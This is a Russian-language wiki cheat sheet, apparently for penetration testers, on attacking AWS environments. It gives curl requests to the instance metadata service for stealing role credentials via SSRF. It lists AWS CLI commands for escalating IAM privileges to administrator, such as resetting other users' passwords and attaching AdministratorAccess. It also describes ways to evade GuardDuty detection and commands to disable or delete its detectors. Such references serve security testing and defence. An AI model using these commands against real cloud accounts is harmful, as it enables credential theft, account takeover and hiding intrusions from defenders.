* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
